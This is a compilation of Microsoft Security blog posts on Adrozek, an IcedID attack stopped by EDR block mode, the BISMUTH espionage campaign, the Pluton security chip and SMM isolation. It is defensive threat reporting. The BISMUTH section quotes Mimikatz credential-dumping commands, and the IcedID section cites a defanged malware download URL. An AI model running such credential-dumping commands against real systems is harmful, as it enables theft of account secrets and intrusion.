
With this additional function, Adrozek sets itself apart from other browser modifiers and demonstrates that there’s no such thing as low-priority or non-urgent threats. Preventing the full range of threat from gaining access in the first place is of utmost importance.

Defending against sophisticated browser modifiers

Adrozek shows that even threats that are not thought of as urgent or critical are increasingly becoming more complex. And while the malware’s main goal is to inject ads and refer traffic to certain websites, the attack chain involves sophisticated behavior that allow attackers to gain a strong foothold on a device. The addition of credential theft behavior shows that attackers can expand their objectives to take advantage of the access they’re able to gain.

These complex behaviors, and the fact that the campaign uses polymorphic malware, require protections that focus on identifying and detecting malicious behavior. Microsoft Defender Antivirus, the built-in endpoint protection solution on Windows 10, uses behavior-based, machine learning-powered detections to block Adrozek.

End users who find this threat on their devices are advised to re-install their browsers. Considering the massive infrastructure that was used to distribute this threat on the web, users should also educate themselves about preventing malware infections and the risks of downloading and installing software from untrusted sources and clicking ads or links on suspicious websites. Users should also take advantage of URL filtering solutions, such as Microsoft Defender SmartScreen on Microsoft Edge. Configuring security software to automatically download and install updates, as well as running the latest versions of the operating system and applications and deploying the latest security updates help harden endpoints from threats.

For enterprises, defenders should look to reduce the attack surface for these types of threats. Application control allows organizations to enforce the use of only authorized apps and services. Enterprise-grade browsers like Microsoft Edge provide additional security features like conditional access and Application Guard that defend against threats on the browser.

It’s also important for enterprises to gain deep visibility into malicious behaviors on endpoints and the capability to correlate with threat data from other domains like cloud apps, email and data, and identities. Microsoft 365 Defender delivers coordinated protection across domains and provides rich investigation tools that empower defenders to respond to attacks. Learn how your organization can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365.

 

Microsoft 365 Defender Research Team

 

The post Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers appeared first on Microsoft Security.

EDR in block mode stops IcedID cold

December 9th, 2020 No comments

We are happy to announce the general availability of endpoint detection and response (EDR) in block mode in Microsoft Defender for Endpoint. EDR in block mode turns EDR detections into real-time blocking of malicious behaviors, malware, and artifacts. It uses Microsoft Defender for Endpoint’s industry-leading visibility and detection capabilities and Microsoft Defender Antivirus’s built-in blocking function to provide an additional layer of post-breach protection in cases where the primary antivirus misses a threat.

EDR in block mode extends the behavioral blocking and containment capabilities in Microsoft Defender for Endpoint, thwarting attack chains that could allow attackers to gain a foothold on a device and, consequently, a network. For each malicious behavior or malware blocked, EDR in block raises an alert in Microsoft Defender Security Center, enabling security teams to perform additional investigation and hunting and comprehensively resolve attacks.

Since being available for public preview in August, EDR in block mode has helped customers to stop a wide range of threats, especially in cases where Microsoft Defender Antivirus isn’t the primary antivirus. Below we describe an IcedID campaign, one of many attacks foiled by EDR in block mode. In this incident, the organization’s non-Microsoft antivirus solution missed the malware, but Microsoft Defender for Endpoint picked up the malicious behavior. EDR in block mode kicked in and protected the device from a series of malicious activities that include evasive attacker techniques like process hollowing and steganography that lead to the deployment of the info-stealing IcedID malware.

Diagram showing IcedID attack chain, with labels identifying what stage the attack was stopped

Figure 1. IcedID attack chain stopped by EDR in block mode

How EDR in block mode stopped an IcedID attack

On October 13, attackers launched a new campaign to distribute the IcedID malware. IcedID is a banking trojan that remains in memory, monitors traffic to banking domains and financial websites, and steals sensitive financial information. It has also been observed to modify site content to redirect traffic to malicious sites for the same purpose.

As in many past IcedID campaigns, this attack started with an email carrying a malicious attachment, in this case, a password-protected archive file. The emails used the fake reply technique and contained the password to the archive file.

Screenshot of spear-phishing email used in the IcedID campaign

Figure 2. Spear-phishing email used in the IcedID campaign

The archive file contained a document with malicious obfuscated macro code. When enabled, the malicious macro connects to a remote site to attempt to download the IcedID loader, which would in turn download and run the main IcedID malware.

Screenshot of malicious document and malicious macro codes

Figure 3. Document with malicious macro

In customer environments protected by Microsoft for Defender Endpoint with Microsoft Defender Antivirus as the primary antivirus, the attack was blocked. Microsoft Defender for Endpoint uses Anti-malware Scan Interface (AMSI) and specialized machine learning classifiers on the client and in the cloud to detect malicious macro behavior.

In one environment that wasn’t using Microsoft Defender Antivirus, the primary antivirus solution missed the campaign, so when the user opened the document and enabled the macro, the malicious code started connecting to the command-and-control (C2) server. Microsoft Defender for Endpoint’s EDR capabilities, however, detected the malicious macro behavior.

Screenshot of Microsoft Defender Security Center alert indicating detection of suspicious behavior

Figure 4. Microsoft Defender Security Center alert for malicious macro behavior

EDR in block mode, which was enabled on the environment, kicked in and instantly blocked the malicious document, preventing a chain of evasive attacker activities that could have led to the IcedID malware being installed.

Screenshot of Microsoft Defender Security Center alert indicating threat is blocked

Figure 5. Microsoft Defender Security Center alert for the blocked IcedID malware

The attack that could have been

This IcedID campaign shows why blocking malicious behavior and attacks in real time, especially in the earlier stages of the attack, is critical in preventing the full impact of threats. After gaining access to a device, attackers bring in sophisticated tools and utilize advanced techniques to operate stealthily on a system.

For example, if the IcedID macro isn’t blocked from running, it downloads a DLL file disguised as a CAB file from hxxp://h4dv4c1w[.]com/ryfu/bary[.]php?l=konu13[.]cab. This DLL file is saved as [random].txt and is executed using regsvr32.exe. The DLL then downloads jazzcity.top, an encrypted PNG file that contains malware code. This technique of hiding malicious code in image files, called steganography, is used by attackers to evade detection.

When decrypted, the PNG file creates an msiexec.exe process and uses process hollowing, a stealthy cross-process injection technique, to inject malicious code. The hollowed-out msiexec.exe process then creates the file joavript.dll, which is the decrypted IcedID malware.

Once in memory, the IcedID malware acts as the middleman between the browser and the banking site. It does this by creating a self-signed certificate and by hooking the browser to accept this certificate.  This allows IcedID to monitor HTTPS traffic to online banking sites and manipulate and steal information.

EDR in block mode: Transforming EDR visibility into real-time blocking

With endpoint and detection response (EDR) in block mode, now generally available, Microsoft Defender for Endpoint provides another layer of post-breach protection when attacks manage to slip past the primary antivirus solution. An extension of the behavioral blocking and containment capabilities, EDR in block mode stops attacks cold when it detects malicious behavior, malware implant, and other artifacts. It stops and blocks malicious behavior in real-time, even if a threat has started running, helping ensure that attacks are not allowed to proceed and achieve their endgame.

EDR in block mode can be enabled thru the advanced settings in Microsoft Defender Security Center. Organizations that have not enabled this feature will also get security recommendation to do so via the threat and vulnerability management feature. To learn more, read the EDR in block mode documentation.

Screenshot of advanced settings in Microsoft Defender Security Center, where EDR in block mode can be enabled

Figure 6. Enable EDR in block mode in advanced features in Microsoft Defender Security Center

EDR in block mode is part of the comprehensive endpoint protection provided by Microsoft Defender for Endpoint, which delivers preventative protection, post-breach detection, automated investigation, and response. Learn how you can secure your organization with Microsoft Defender for Endpoint.

 

 

 

The post EDR in block mode stops IcedID cold appeared first on Microsoft Security.

Categories: cybersecurity Tags:

Threat actor leverages coin miner techniques to stay under the radar – here’s how to spot them

November 30th, 2020 No comments

Cryptocurrency miners are typically associated with cybercriminal operations, not sophisticated nation state actor activity. They are not the most sophisticated type of threats, which also means that they are not among the most critical security issues that defenders address with urgency. Recent campaigns from the nation-state actor BISMUTH take advantage of the low-priority alerts coin miners cause to try and fly under the radar and establish persistence.

BISMUTH, which shares similarities with OceanLotus or APT32, has been running increasingly complex cyberespionage attacks as early as 2012, using both custom and open-source tooling to target large multinational corporations, governments, financial services, educational institutions, and human and civil rights organizations. But in campaigns from July to August 2020, the group deployed Monero coin miners in attacks that targeted both the private sector and government institutions in France and Vietnam.

Because BISMUTH’s attacks involved techniques that ranged from typical to more advanced, devices with common threat activities like phishing and coin mining should be elevated and inspected for advanced threats. More importantly, organizations should prioritize reducing attack surface and hardening networks against the full range of attacks. In this blog, we’ll provide in-depth technical details about the BISMUTH attacks in July and August 2020 and mitigation recommendations for building organizational resilience.

While this actor’s operational goals remained the same—establish continuous monitoring and espionage, exfiltrating useful information as is it surfaced—their deployment of coin miners in their recent campaigns provided another way for the attackers to monetize compromised networks. Considering some of the group’s traditional targets are human and civil rights organizations, BISMUTH attacks demonstrate how attackers give little regard to services they impact.

The use of coin miners by BISMUTH was unexpected, but it was consistent with the group’s longtime methods of blending in. This pattern of blending in is particularly evident in these recent attacks, starting from the initial access stage: spear-phishing emails that were specially crafted for one specific recipient per target organization and showed signs of prior reconnaissance. In some instances, the group even corresponded with the targets, building even more believability to convince targets to open the malicious attachment and start the infection chain.

The other way that BISMUTH attempted to blend in and hide in plain sight was the heavy use of DLL side-loading, a technique in which a legitimate DLL is replaced with a malicious one so that the latter is loaded when the associated application is run. In their recent attacks, BISMUTH utilized copies of various legitimate software to load malicious DLL files and perform tasks in the context of these legitimate applications. To perform DLL sideloading, BISMUTH introduced outdated versions of various applications, including Microsoft Defender Antivirus. They also leveraged the Sysinternals DebugView tool, the McAfee on-demand scanner, and Microsoft Word 2007.

Blending in was important for BISMUTH because the group spent long periods of time performing discovery on compromised networks until they could access and move laterally to high-value targets like servers, where they installed various tools to further propagate or perform more actions. At this point in the attack, the group relied heavily on evasive PowerShell scripts, making their activities even more covert.

The coin miners also allowed BISMUTH to hide its more nefarious activities behind threats that may be perceived to be less alarming because they’re “commodity” malware. If we learned anything from “commodity” banking trojans that bring in human-operated ransomware, we know that common malware infections can be indicators of more sophisticated cyberattacks and should be treated with urgency and investigated and resolved comprehensively.

Diagram showing BISMUTH attacker techniques across attack stages

Initial access

BISMUTH attempted to gain initial access by sending specially crafted malicious emails from a Gmail account that appears to have been made specifically for this campaign. It’s likely the group conducted reconnaissance using publicly available sources and chose individual targets based on their job function. Each email was sent to only one recipient at each target organization and used tailored subject lines and lure themes, for example:

  • Dự thảo hợp đồng (translates from Vietnamese to “Draft Contract”)
  • Ứng tuyển – Trưởng ban nghiên cứu thị trường (translates from Vietnamese to “Application form – Head of Market Research”)

Of note, the group sent several replies to one of these emails, which indicated that they corresponded with some targets before convincing them to open the malicious document attachment and inadvertently launch the payload. When opened, the malicious .doc file dropped several files in the hidden ProgramData folder: (1) MpSvc.dll, a malicious DLL with the same name as a legitimate Microsoft Defender Antivirus DLL, and (2) a copy of MsMpEng.exe the legitimate Microsoft Defender Antivirus executable.

The malicious document then added a scheduled task that launched the MsMpEng.exe copy and sideloaded the malicious MpSvc.dll. Because the latest versions of Microsoft Defender Antivirus are no longer susceptible to DLL sideloading, BISMUTH used an older copy to load the malicious DLL and establish a persistent command-and-control (C2) channel to the compromised device and consequently the network.

Using the newly established channel, the group dropped several files for the next stages of the attack, including a .7z archive, a copy of Word 2007, and another DLL, wwlib.dll. While it used the same name as a legitimate Microsoft Word DLL, wwlib.dll was a copy of KerrDown, a family of custom malware exclusive to BISMUTH. This file was subsequently sideloaded by the dropped copy of Word 2007—a technique used by BISMUTH extensively to load malicious code from a DLL file in the context of a legitimate process like winword.exe.

BISMUTH established another persistence method by dropping another copy of Word 2007 in a subfolder in ProgramData. The group then created a scheduled task that launched that copy in the same malicious manner every 60 minutes – further increasing their chances of going undetected and maintaining their presence.

Discovery

Once established as a scheduled task, the co-opted Word 2007 process dropped and loaded a scanning tool popular among attackers, NbtScan.exe. BISMUTH then immediately used the scanning tool to scan an IP address range within the organization. Following this network scan, the Word 2007 process launched a malicious script using a living-off-the-land-binary, rundll32.exe, resulting in a scan on a myriad of common ports, including 21, 22, 389, 139, and 1433. BISMUTH listed devices with open ports in a .csv file.

While network scanning was underway, the group performed other reconnaissance activities. They gathered information about domain and local administrators, checked whether users had local administrative privileges, and collected device information—aggregating results in a .csv for exfiltration. In addition, the group once again used MsMpEng.exe with the malicious sideloaded DLL to connect to another device that appears to have been designated by BISMUTH at some point during the attack as an internal C2 foothold and exfiltration staging device.

Continued lateral movement, discovery, and intel gathering

After a month of continual discovery on compromised devices, the group moved laterally to a server and copied over a malicious DLL that masqueraded as the system file mpr.dll and a copy of the Sysinternals DebugView tool. They dropped the tool onto different devices using SMB remote file copy, using file names related to popular Japanese video game characters and a seemingly random word. The actors then registered and launched malicious services multiple times, launching DebugView tool to connect to multiple Yahoo websites and confirm Internet connectivity, followed by a connection to their C2 infrastructure.

At this point, BISMUTH switched to running their attacks using PowerShell, quickly launching multiple script cmdlets. First, they dumped credentials from the Security Account Manager (SAM) database using the Empire PowerDump command and then quickly deleted PowerShell event logs to erase records generated by Script Block Logging. They then continued their discovery efforts using a PowerShell script that gathered user and group information and sent the gathered data to .csv files.

The script collected the following information about each user:

description, distinguishedname, lastlogontimestamp, logoncount, mail, name, primarygroupid, pwdlastset, samaccountname, userprincipalname, whenchanged, whencreated

And the following information about each domain group:

adspath, description, distinguishedname, groupType, instancetype, mail, member, memberof, name, objectsid, samaccountname,whenchanged, whencreated

Next, the group exported directory forest and domain organizational unit (OU) information. They then started connecting to dozens of devices using WMI. Following that, they collected credentials by dumping security logs under Event ID 680, possibly targeting logs related to NTLM fallbacks. Lastly, the group used the system tool Nltest.exe to gather domain trust info and pinged multiple servers they have identified by name during reconnaissance. Some of these servers appear to be database and file servers that could have contained high-value information for espionage objectives typically pursued by BISMUTH.

BISMUTH then installed a Cobalt Strike beacon. The group dropped a .rar file and extracted its contents—McOds.exe, which is a copy of the McAfee on-demand scanner, and a malicious DLL—into the SysWOW64 folder. The group then created a scheduled task that launched the copy of the McAfee on-demand scanner with SYSTEM privileges and sideloaded the malicious DLL. This persistence mechanism established a connection to their Cobalt Strike server infrastructure. To clean up evidence, they deleted the dropped McAfee binary.

In terms of targets for this campaign, there were some commonalities among targets located in Vietnam that Microsoft has assessed to be tied to their previous designation as state-owned enterprises (SOEs). The observed BISMUTH activity in Vietnam targeted organizations that included former SOEs previously operated by the government of Vietnam, entities that have acquired a significant portion of a former SOE, and entities that conduct transactions with a Vietnamese government agency. Although the group’s specific objectives for these recent attacks cannot be defined with high confidence, BISMUTH’s past activities have included operations in support of broader espionage goals.

Coin miner deployment and credential theft

As mentioned, BISMUTH deployed coin miners during these attacks. To do this, they first dropped a .dat file and loaded the file using rundll32.exe, which in turn downloaded a copy of the 7-zip tool named 7za.exe and a ZIP file. They then used 7-Zip to extract a Monero coin miner from the ZIP file and registered the miner as a service named after a common Virtual Machine process. Each coin miner they deployed had a unique wallet address that earned over a thousand U.S. dollars combined during the attacks.

After deploying coin miners as their distraction technique, BISMUTH then focused much of its efforts on credential theft. They registered multiple malicious services that used %comspec%—a relative reference to cmd.exe commonly used by attackers—to run the renamed DebugView tool while loading a malicious DLL. The group used DebugView and the malicious DLL in a fairly unexpected fashion to launch Base64-encoded Mimikatz commands using one of several Windows processes: makecab.exe, systray.exe, w32tm.exe, bootcfg.exe, diskperf.exe, esentutl.exe, and typeperf.exe.

They ran the following Mimikatz commands that require SYSTEM or Debug privileges:

  • sekurlsa::logonpasswords full–lists all account and user password hashes, typically user and computer credentials for recently logged on users
  • lsadump::lsa /inject—injects LSASS to retrieve credentials and request the LSA Server to grab credentials from the Security Account Manager (SAM) database and Active Directory (AD)

After running these commands, the co-opted DebugView tool connected to multiple attacker-controlled domains, likely to exfiltrate stolen credentials.

As the affected organizations worked to evict BISMUTH from their networks, Microsoft security researchers saw continued activity involving lateral movement to other devices, credential dumping, and planting of multiple persistence methods. This highlights the complexity of responding to a full-blown intrusion and the significance of taking quick action to resolve alerts that flag initial stages of an attack.

Building organizational resilience against attacks that blend in

BISMUTH attacks put strong emphasis on hiding in plain sight by blending in with normal network activity or common threats that attackers anticipate will get low-priority attention. The combination of social engineering and use of legitimate applications to sideload malicious DLLs entail multiple layers of protection focused on stopping threats at the earliest possible stage and mitigating the progression of attacks if they manage to slip through. Here are mitigation recommendations that organizations can implement to limit exposure:

Limit the attack surface that attackers can leverage for initial access:

  • Educate end users about protecting personal and business information in social media, filtering unsolicited communication, identifying lures in spear-phishing email, and reporting of reconnaissance attempts and other suspicious activity.
  • Configure Office 365 email filtering settings to ensure blocking of phishing & spoofed emails, spam, and emails with malware. Set Office 365 to recheck links on click and delete sent mail to benefit from newly acquired threat intelligence.
  • Turn on attack surface reduction rules, including rules that can block advanced macro activity, executable content, process creation, and process injection initiated by Office applications.
  • Disallow macros or allow only macros from trusted locations. See the latest security baselines for Office and Office 365.
  • Check perimeter firewall and proxy to restrict servers from making arbitrary connections to the internet to browse or download files. Such restrictions help inhibit malware downloads and command-and-control activity.

Build credential hygiene to reduce risk during discovery stage:

  • Enforce strong, randomized local administrator passwords. Use tools like LAPS.
  • Practice the principle of least-privilege and maintain credential hygiene. Avoid the use of domain-wide, admin-level service accounts.
  • Require multi-factor authentication through Windows Hello.

Stop attack sprawl and contain attacker movement:

  • Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
  • Turn on tamper protection features to prevent attackers from stopping security services.
  • Monitor for clearing of event logs. Windows generates security event ID 1102 when this occurs.
  • Determine where highly privileged accounts are logging on and exposing credentials. Monitor and investigate logon events (event ID 4624) for logon type attributes. Highly privileged accounts should not be present on workstations.
  • Utilize the Microsoft Defender Firewall, intrusion prevention devices, and your network firewall to prevent RPC and SMB communication among endpoints whenever possible. This limits lateral movement as well as other attack activities.

To better defend organizations against attacks that do everything to blend in once they gain access to a network, organizations can build defenses for preventing and blocking attacks at the initial access stage. Microsoft Defender for Office 365 provides defense capabilities that protect organizations from threats like credential phishing, business email compromise, and cyberattacks that begin with spear-phishing emails. Safe attachments and Safe links provide real-time protection using a combination of detonation, automated analysis, and machine learning, which are especially useful for highly targeted, specially crafted emails. Campaign views show the complete picture of email campaigns, including timelines, sending patterns, impact to the organization, and details like IP addresses, senders, URLs.

The broader Microsoft 365 Defender presents cross-domain threat intelligence and actionable information in consolidated incidents view, empowering security operations teams to comprehensively respond to attacks. For critical threats like BISMUTH campaigns, Microsoft researchers publish threat analytics reports that contain technical details, detection info, and mitigation status. Investigation tools like advanced hunting allow security teams to perform additional inspection of the environment for related or similar threats. Threat and vulnerability management data show mitigation recommendations, including enabling relevant attack surface reduction rules, that organizations can take to reduce risks.

These industry-leading capabilities in Microsoft 365 Defender are backed by Microsoft’s network of researchers and security experts who monitor the threat landscape and track threat actors like BISMUTH. Through Microsoft 365 Defender, we transform threat intelligence into protections and rich investigation tools that organizations can use to build organizational resilience. Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365.

 

Justin Carroll and Emily Hacker, Microsoft 365 Defender Threat Intelligence Team

with Microsoft Threat Intelligence Center (MSTIC)

 

MITRE ATT&CK techniques observed

Initial access

Execution

Persistence

Privilege escalation

Defense evasion

Credential access

Discovery

Collection

Data exfiltration

The post Threat actor leverages coin miner techniques to stay under the radar – here’s how to spot them appeared first on Microsoft Security.

Meet the Microsoft Pluton processor – The security chip designed for the future of Windows PCs

November 17th, 2020 No comments

The role of the Windows PC and trust in technology are more important than ever as our devices keep us connected and productive across work and life. Windows 10 is the most secure version of Windows ever, built with end-to-end security for protection from the edge to the cloud all the way down to the hardware. Advancements like Windows Hello biometric facial recognition, built-in Microsoft Defender Antivirus, and firmware protections and advanced system capabilities like System Guard, Application Control for Windows and more have helped Microsoft keep pace with the evolving threat landscape.

While cloud-delivered protections and AI advancements to the Windows OS have made it increasingly more difficult and expensive for attackers, they are rapidly evolving, moving to new targets: the seams between hardware and software that can’t currently be reached or monitored for breaches. We have already taken steps to combat these sophisticated cybercriminals and nation state actors with our partners through innovations like secured-core PCs that offer advanced identity, OS, and hardware protection.

Today, Microsoft alongside our biggest silicon partners are announcing a new vision for Windows security to help ensure our customers are protected today and in the future. In collaboration with leading silicon partners AMD, Intel, and Qualcomm Technologies, Inc., we are announcing the Microsoft Pluton security processor. This chip-to-cloud security technology, pioneered in Xbox and Azure Sphere, will bring even more security advancements to future Windows PCs and signals the beginning of a journey with ecosystem and OEM partners.

Our vision for the future of Windows PCs is security at the very core, built into the CPU, where hardware and software are tightly integrated in a unified approach designed to eliminate entire vectors of attack. This revolutionary security processor design will make it significantly more difficult for attackers to hide beneath the operating system, and improve our ability to guard against physical attacks, prevent the theft of credential and encryption keys, and provide the ability to recover from software bugs.

Pluton design redefines Windows security at the CPU

Today, the heart of operating system security on most PCs lives in a chip separate from the CPU, called the Trusted Platform Module (TPM). The TPM is a hardware component which is used to help securely store keys and measurements that verify the integrity of the system. TPMs have been supported in Windows for more than 10 years and power many critical technologies such as Windows Hello and BitLocker. Given the effectiveness of the TPM at performing critical security tasks, attackers have begun to innovate ways to attack it, particularly in situations where an attacker can steal or temporarily gain physical access to a PC. These sophisticated attack techniques target the communication channel between the CPU and TPM, which is typically a bus interface. This bus interface provides the ability to share information between the main CPU and security processor, but it also provides an opportunity for attackers to steal or modify information in-transit using a physical attack.

The Pluton design removes the potential for that communication channel to be attacked by building security directly into the CPU. Windows PCs using the Pluton architecture will first emulate a TPM that works with the existing TPM specifications and APIs, which will allow customers to immediately benefit from enhanced security for Windows features that rely on TPMs like BitLocker and System Guard. Windows devices with Pluton will use the Pluton security processor to protect credentials, user identities, encryption keys, and personal data. None of this information can be removed from Pluton even if an attacker has installed malware or has complete physical possession of the PC.

This is accomplished by storing sensitive data like encryption keys securely within the Pluton processor, which is isolated from the rest of the system, helping to ensure that emerging attack techniques, like speculative execution, cannot access key material. Pluton also provides the unique Secure Hardware Cryptography Key (SHACK) technology that helps ensure keys are never exposed outside of the protected hardware, even to the Pluton firmware itself, providing an unprecedented level of security for Windows customers.

The Pluton security processor complements work Microsoft has done with the community, including Project Cerberus, by providing a secure identity for the CPU that can be attested by Cerberus, thus enhancing the security of the overall platform.

Graphic showing the Microsoft Pluton security processor

One of the other major security problems solved by Pluton is keeping the system firmware up to date across the entire PC ecosystem. Today customers receive updates to their security firmware from a variety of different sources than can be difficult to manage, resulting in widespread patching issues.  Pluton provides a flexible, updateable platform for running firmware that implements end-to-end security functionality authored, maintained, and updated by Microsoft. Pluton for Windows computers will be integrated with the Windows Update process in the same way that the Azure Sphere Security Service connects to IoT devices.

The fusion of Microsoft’s OS security improvements, innovations like secured-core PCs and Azure Sphere, and hardware innovation from our silicon partners provides the capability for Microsoft to protect against sophisticated attacks across Windows PCs, the Azure cloud, and Azure intelligent edge devices.

Innovating with our partners to enhance chip-to-cloud security

The PC owes its success largely to an immensely vibrant ecosystem with OS, silicon, and OEM partners all working together to solve tough problems through collaborative innovation. This was demonstrated over 10 years ago with the successful introduction of the TPM, the first broadly available hardware root of trust. Since that milestone, Microsoft and partners have continued to collaborate on next generation security technologies that take full advantage of the latest OS and silicon innovations to solve the most challenging problems in security. This better together approach is how we intend to make the PC ecosystem the most secure available.

The Microsoft Pluton design technology incorporates all of the learnings from delivering hardware root-of-trust-enabled devices to hundreds of millions of PCs. The Pluton design was introduced as part of the integrated hardware and OS security capabilities in the Xbox One console released in 2013 by Microsoft in partnership with AMD and also within Azure Sphere. The introduction of Microsoft’s IP technology directly into the CPU silicon helped guard against physical attacks, prevent the discovery of keys, and provide the ability to recover from software bugs.

With the effectiveness of the initial Pluton design we’ve learned a lot about how to use hardware to mitigate a range of physical attacks. Now, we are taking what we learned from this to deliver on a chip-to-cloud security vision to bring even more security innovation to the future of Windows PCs (more details in this talk from Microsoft BlueHat). Azure Sphere leveraged a similar security approach to become the first IoT product to meet the “Seven properties of highly secure devices.”

The shared Pluton root-of-trust technology will maximize the health and security of the entire Windows PC ecosystem by leveraging the security expertise and technologies from the companies involved. The Pluton security processor will provide next generation hardware security protection to Windows PCs through future chips from AMD, Intel, and Qualcomm Technologies.

“At AMD, security is our top priority and we are proud to have been at the forefront of hardware security platform design to support features that help safeguard users from the most sophisticated attacks. As a part of that vigilance, AMD and Microsoft have been closely partnering to develop and continuously improve processor-based security solutions, beginning with the Xbox One console and now in the PC. We design and build our products with security in mind and bringing Microsoft’s Pluton technology to the chip level will enhance the already strong security capabilities of our processors.” – Jason Thomas, head of product security, AMD

“Intel continues to partner with Microsoft to advance the security of Windows PC platforms. The introduction of Microsoft Pluton into future Intel CPUs will further enable integration between Intel hardware and the Windows operating system.” – Mike Nordquist, Sr. Director, Commercial Client Security, Intel

“Qualcomm Technologies is pleased to continue its work with Microsoft to help make a slew of devices and use cases more secure. We believe an on-die, hardware-based Root-of-Trust like the Microsoft Pluton is an important component in securing multiple use cases and the devices enabling them.” – Asaf Shen, senior director of product management at Qualcomm Technologies, Inc.

We believe that processors with built-in security like Pluton are the future of computing hardware. With Pluton, our vision is to provide a more secure foundation for the intelligent edge and the intelligent cloud by extending this level of built-in trust to devices, and things everywhere.

Our work with the community helps Microsoft continuously innovate and enhance security at every layer. We’re excited to make this revolutionary security design a reality with the biggest names in the silicon industry as we continuously work to enhance security for all.

The post Meet the Microsoft Pluton processor – The security chip designed for the future of Windows PCs appeared first on Microsoft Security.

System Management Mode deep dive: How SMM isolation hardens the platform

November 12th, 2020 No comments

Ensuring that the platform firmware is healthy and trustworthy is fundamental to guaranteeing that powerful platform security features like Hypervisor-protected code integrity (HVCI) and Windows Defender Credential Guard are functioning as expected. Windows 10 achieves this by leveraging a hardware-based root of trust that ensures unauthorized code like Unified Extensible Firmware Interface (UEFI) malware cannot take root before the Windows bootloader launches.

Key to defending the hypervisor, and by extension the rest of the OS, from such low-level threats is protecting System Management Mode (SMM), an execution mode in x86-based processors that runs at a higher effective privilege than the hypervisor. Because of its traditionally unfettered access to memory and device resources, SMM is a known vector of attack for gaining access to the OS and hardware. SMM is particularly vulnerable to threats like confused deputy attacks, in which malicious code tricks another code with higher privileges to perform certain activities. One could have perfect code in SMM and still be affected by behavior like trampolining into secure kernel code.

Sometimes referred to as “Ring -2”, SMM is used by OEMs to interact with hardware like NV RAM, emulate hardware functionality, handle hardware interrupts or errata, and perform other functions. SMM runs in the form of interrupt handlers that are triggered by timers or access to certain memory, registers, or hardware resources. OEM drivers and runtime firmware services may explicitly trap SMM to control certain hardware functionality.

To stop sophisticated attacks from taking control of the system through SMM, the OS must have enforcement or oversight of SMM’s behavior. As part of Secured-core PCs and System Guard, Intel and AMD have developed mechanisms to isolate SMM from the OS by enforcing and reporting what resources SMM has access to.

SMM isolation

Isolating SMM is implemented in three parts: OEMs implement a policy that states what they require access to; the chip vendor enforces this policy on SMIs; and the chip vendor reports compliance to this policy to the OS.

Diagram showing process of isolation in System Management Mode

The policy provided by the OEM is a list detailing the resources that the SMI handlers require access to. This policy is validated and enforced by the chipset vendors’ specific enforcement mechanism detailed later. The OS does not have any control over what the policy is; it is only guaranteed enforcement of the policy stated.

Trusted Computing Base (Tcb) Launch, introduced in the Windows implementation of Dynamic Root of Trust (DRTM), gets the enforced policy from the chip vendor’s reporting mechanism. Because resource access is specific to a platform’s needs, Tcb Launch compares the OEM’s SMM access policy with several levels of Windows SMM isolation requirements to determine the level of isolation provided. The isolation level achieved by the OEM’s policy is measured for attestation and is reported to the OS.

The isolation levels consist of increasing restrictions on what SMIs may access, as well as enforcement capabilities required on the system. An example of an isolation requirement is that SMIs may not access memory owned by the OS. Additionally, these requirements can include restrictions on the following resources:

  1. SMM page configuration lockdown
  2. Static page tables
  3. Model-Specific Register (MSR) access
  4. IO port access
  5. Processor state save access

In order to ensure a consistent security promise for customers using Secured-core PCs if the  minimum requirements are not met, the DRTM measurements are capped, and local and remote attestation fail. SMM isolation is tied with DRTM because without DRTM, the OS cannot trust anything evaluated by the boot environment as it is not protected from the influence of SMM. SMIs are suspended during DRTM, so the new root of trust established by DRTM can evaluate the security of the SMM access policy.

Not only are these protections utilized by Windows for local secrets protection, but remote attestation tools can also leverage this information to determine the security posture of a specific device. This attestation report can be used to prevent access to sensitive network files, for example, unless a certain combination of features is present.

Diagram showing SMM architecture

AMD solution (SMM Supervisor)

During UEFI boot phase, the SMM Supervisor is loaded as a UEFI driver. This driver is signed by AMD and authenticated by the Platform Security Processor (PSP) at the time of DRTM launch. Failure of authentication will fail DRTM. (It is also under firmware anti-rollback protection by PSP.)

SMM Supervisor provides and initializes the SMI entry routine (the first code block executed after SMI is triggered). This routine is also signed by AMD and authenticated by PSP at the time of DRTM launch. Upon DRTM event, PSP also verifies that the SMI entry is properly configured to this authenticated block. Failure of this authentication will also result in DRTM failure.

SMM Supervisor marks critical pages—including SMM Supervisor code block, internal data, the page table itself, exception handler, as well as processor save state—as supervisor pages, accessible only  from current privilege level 0 (CPL0, the most privileged level).

Immediately after SMI is triggered, the SMI entry routine demotes the system to execute under CPL3 (least privileged level) before executing any third party SMI handlers. From CPL3 environment, MSR, IO, and supervisor pages access, critical register changes such as CR3, as well as privileged instructions such as “hlt” and “cli” all end up as General Protection Fault enforced by CPU hardware.

In order for SMI handlers under CPL3 to access privileged data and register, SMM Supervisor provides syscall interface to allow third-party SMI handlers to make such requests. The backend of the syscall interface, which resides in SMM supervisor, is controlled by SMM secure policy. The said policy is a deny list that can be customized per platform to determine which MSRs, IOs, or memory regions can be accessed from CPL3. SMM secure policy is reported to and verified by OS secure loader during DRTM event.

Intel Hardware Shield

Intel® Hardware Shield, a part of the Intel vPro® platform, uses CPU hardware and firmware to enforce the platform’s SMM access policy. Generationally, these capabilities evolve using new CPU hardware features in conjunction with existing CPU capabilities to strengthen related micro-architectural flows and provide new register locks in support of related firmware hardening*.

  • Intel vPro® platform with 8th Generation Intel® Core™ vPro® processors introduced firmware hardening and hardware-locked static page table support to reduce SMM privilege with regard to memory and to lock the memory configuration. These new locks include: CR3 lock, MSEG lock, SMBASE lock, etc.
  • Intel vPro platform with 9th Generation Intel Core vPro processors added an Intel signed SMM module enables attestation of the SMM memory configuration using Intel® Trusted Execution Technology (Intel® TXT), a component of Intel® Hardware Shield, via PCR17. The module first verifies the integrity of the hardened SMM code used to enforce the SMM access policy. It then reports this, as well as the details of the policy, back to the OS. Therefore, the OS can verify the trustworthiness of SMM and evaluate the platform’s SMM access policy without the possibility of interference from SMI handlers.
  • Intel vPro platform with 10th Generation Intel Core vPro processors enhanced the verified CPL0 SMM components to create a privilege separation with SMI handlers in order to extend policy enforcement to MSRs, IO ports, and SMM state save (access policy may vary by platform). The reporting mechanism was extended to include these capabilities as well.

*No product or component can be absolutely secure.

Secured-core PCs give the simplest experience for customers to get Secure Launch and SMM protection

Enabling SMM protection and System Guard Secure Launch may be achieved when the following support is present:

  • Intel, AMD, or ARM virtualization extensions
